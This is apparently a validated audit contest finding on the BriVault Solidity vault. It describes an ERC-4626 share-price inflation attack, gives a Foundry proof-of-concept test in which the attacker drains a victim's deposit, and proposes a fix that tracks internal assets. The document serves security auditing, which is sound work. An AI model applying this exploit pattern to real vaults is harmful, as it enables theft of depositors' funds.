BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Stealing All Deposits via Share Price Inflation

0xvrka

Root + Impact

Description

  • The _convertToShares function should fairly price shares. As more assets are deposited, the total shares should increase proportionally.

  • This ideal is broken by the function's reliance on balanceOf(vault), which is the exact vulnerability an attacker exploits to conduct a critical ERC-4626 inflation attack.

    1. The attacker deposits a tiny amount.

    2. They redeem almost all their shares, leaving only 1 wei of totalSupply.

    3. They transfer a large amount of assets directly to the vault. The price of a single share is now astronomically high. Any new deposit from a victim will be rounded down to 0 shares.

function _convertToShares(uint256 assets) internal view returns (uint256 shares) {
@> uint256 balanceOfVault = IERC20(asset()).balanceOf(address(this));
@> uint256 totalShares = totalSupply(); // Attacker sets this to 1
​
if (totalShares == 0 || balanceOfVault == 0) {
return assets;
}
// Example after the attack state -> assets = ~19.7e18, totalShares = 1, balanceOfVault = 20e18
// (19.7e18 * 1) / 20e18 = 0 (due to integer rounding)
@> shares = Math.mulDiv(assets, totalShares, balanceOfVault);
}

Risk

Likelihood:

  • Requires being the first depositor (or depositing when totalSupply is 0).

Impact:

  • The attacker can steal 100% of the funds from any subsequent depositor whose deposit is less than the attacker's poison transfer.

Proof of Concept

This is how the scenario works:

  1. user1 (attacker) deposits, then redeems, leaving only 1 wei of shares. totalSupply is now 1.

  2. user1 transfers ~20 ether to the vault, "poisoning" it. The price of one share is now ~20 ether.

  3. user2 (victim) deposits 20 ether. The 1.5% fee is taken, so their stakeAsset is ~19.7 ether.

  4. _convertToShares calculates (19.7e18 * 1) / 20e18, which rounds down to 0 shares. user2's 19.7 ether is now trapped.

  5. user1 (the only shareholder) withdraws the entire vault balance: their ~20 ether transfer + user2's ~19.7 ether deposit. The log confirms user1 gets ~39.7 ether, and user2 gets 0.

function test_inflationAttack() public {
vm.startPrank(owner);
briVault.setCountry(countries);
vm.stopPrank();
vm.startPrank(user1);
mockToken.approve(address(briVault), 0.00024 ether);
briVault.deposit(0.00024 ether, user1);
// 1. Attacker leaves 1 wei of shares
@> briVault.redeem(briVault.balanceOf(user1) - 1, user1, user1);
// 2. Attacker "poisons" the vault with a fee-free transfer
@> mockToken.transfer(address(briVault), 20 ether - 0.00024 ether);
briVault.joinEvent(0);
vm.stopPrank();
vm.startPrank(user2);
// 3. Victim deposits
mockToken.approve(address(briVault), 20 ether);
@> briVault.deposit(20 ether, user2); // This deposit gets 0 shares
briVault.joinEvent(0);
vm.stopPrank();
​
vm.startPrank(owner);
vm.warp(eventEndDate + 1);
briVault.setWinner(0);
vm.stopPrank();
// 4. Attacker withdraws the entire pot
vm.startPrank(user1);
briVault.withdraw();
uint256 bal = mockToken.balanceOf(user1);
console.log("user 1 balance (ETH):", bal / 1 ether, ".", bal % 1 ether);
vm.stopPrank();
​
// 5. Victim gets nothing
vm.startPrank(user2);
briVault.withdraw();
bal = mockToken.balanceOf(user2);
console.log("user 2 balance (ETH):", bal / 1 ether, ".", bal % 1 ether);
}

Output Log:

[PASS] test_inflationAttack() (gas: 1843173)
Logs:
user 1 balance (ETH): 39 . 699996400000000000
user 2 balance (ETH): 0 . 0

Recommended Mitigation

the contract must track its own managed assets and ignore balanceOf.

  1. Add a state variable uint256 internalTotalAssets

  2. Update this variable only in deposit, cancelParticipation, and withdraw.

  3. Use this internalTotalAssets variable in _convertToShares instead of balanceOf(vault).

contract BriVault is ERC4626, Ownable {
+ uint256 internal internalTotalAssets;
function _convertToShares(uint256 assets) internal view returns (uint256 shares) {
- uint256 balanceOfVault = IERC20(asset()).balanceOf(address(this));
+ uint256 balanceOfVault = internalTotalAssets;
uint256 totalShares = totalSupply();
// ...
}
​
function deposit(uint256 assets, address receiver) public override returns (uint256) {
// ...
​
+ internalTotalAssets += stakeAsset;
​
// ...
}
​
function cancelParticipation () public {
// ...
+ internalTotalAssets -= refundAmount;
​
// ...
}
​
function withdraw() external winnerSet {
// ...
+ internalTotalAssets -= assetToWithdraw;
​
// ...
}
​
// Also need to update inherited redeem()
function _redeem(
address from,
uint256 shares,
uint256 assets,
address receiver
) internal override {
+ internalTotalAssets -= assets;
super._redeem(from, shares, assets, receiver);
}
}
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Inflation attack

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!